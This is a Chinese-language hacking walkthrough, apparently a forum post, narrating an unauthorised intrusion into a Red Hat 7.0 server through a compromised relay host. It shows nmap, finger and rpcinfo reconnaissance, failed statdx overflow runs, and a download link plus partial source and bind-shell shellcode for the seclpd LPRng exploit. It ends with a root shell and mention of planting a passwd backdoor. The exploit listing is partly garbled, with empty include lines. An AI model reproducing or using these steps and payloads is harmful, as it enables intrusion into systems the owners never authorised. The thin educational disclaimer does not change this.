入侵RedHat Linux系统实例

下 载http://210.77.146.151/images/hlc/files/seclpd.c

我写此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白由于你们一个小小的操作失误可能会导致整个网络全面沦陷！本文主要是围绕UNIX狼蚁网站SEO优化的一个小小的服务进程(LPD:网络打印服务)的攻击而进行的。

让俺慢慢道来…..
咳…咳…先给我上茶！（什么?! 没有?俺不说了!!）呵呵……开开玩笑,言归正传.确定目标,随便找上台湾一个搜索引擎。随便挑一个吧！假设是.fbi.gov.tw。^__^

先让俺看看是不是连得上

C:\ping .fbi.gov.tw
Pinging .fbi.gov.tw[202.106.184.200] with 32 bytes of data:

Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244

Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms

嘻嘻—不但连得上，速度还不错……

先tel看看banner

C:\>tel .fbi.gov.tw

遗失对主机的连接。

哈哈……看来把tel服务给shut掉了！再试试ftp
C:\>ftp .fbi.gov.tw
Connected to .fbi.gov.tw.
220 fbi- FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.

User (.fbi.gov.tw:(none)):

呵~~wu-2.6.1看来有点眉目了。这台机器像是大名鼎鼎的…………对!RedHat7.0！没错就是她了！必须确认一下，连上俺的跳板:

C:\>tel xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$

呵呵~~这是我在台湾的一台跳板。RH7的哦！等下我就会告诉你们拿这些肉鸡办法……拿上nmap扫描器，看看其中的奥妙~~~

bash-2.04$nmap -sT -O .fbi.gov.tw
Starting nmap V. 2.54BETA7 ( .insecure./nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm

TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16

Nmap run pleted -- 1 IP address (1 host up) scanned in 9 seconds

恰恰！！打开的端口还挺多的嘛！不错……不错……。79/tcp finger？呵呵~先看看这个，不过linux没有finger用户列表这个漏洞，不管它俺先看看有没有倒霉鬼。

bash-2.04$finger @.fbi.gov.tw
[.fbi.gov.tw]
No one logged on.

sht！怎么会没人！开门！给我开门！:(……再看看111/tcp sunrpc。嘿嘿……近来rpc漏洞风行，不知道RH7这个东东会不会有？管它呢，先看看再说！

bash-2.04$rpcinfo -p .fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status

看来有rpc.statd服务。等俺来看看能不能远程溢出拿个rootshell。哈哈！这个rpc.statd远程溢出是我在hack.co.za找到的。等俺先来看看帮助。嘻嘻~~

bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看来并不支持RH7。怎么办？？让俺把0-2全部试试看再说！start……

bash-2.04$stat -d 0 .fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

哈哈受到挫折，再试……

bash-2.04$stat -d 1 .fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

一样！继续……

bash-2.04$stat -d 1 .fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21

我烤！！烤烤烤！rpc.statd行不通啊！让我想想看……RH7应该有个远程溢出……好像是lp服务造成的。让俺去找找看。哈哈~~找到了……“seclpd.c”应该是这个东东了。 以下程序也可以在黑盟下载。


—————以下代码仅供教学使用，决不能用来进行恶意攻击—————
/
Wele to http://hlc.root./
Run: ./SEClpd victim brute -t type
Try first ./SEClpd victim -t 0 then try the brute.
/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ADDRESS_BUFFER_SIZE 32 4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 / usecs /
#define OFFSET_LIMIT 5000

char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

哈哈~~brute暴力破解。看你出不出shell！现在要等上一会儿……去泡杯coffee慢慢来。（什么！没coffee？tea！这个也行！）…………过了大约一杯coffee的时间。也就是5-8分钟左右，就会有结果了。（什么！什么！5-8分钟你喝了5杯！我倒~~~）……出来了。哈哈~~

- [ ] shell located on .fbi.gov.tw
- [ ] Enter Commands at will

Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)

Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦！可以为所欲为了~~把它的东西全部删了~~哈哈……太过火了~~还是在passwd中加个后门算了~~至于怎么加，这就不在本文的范围内了……^___^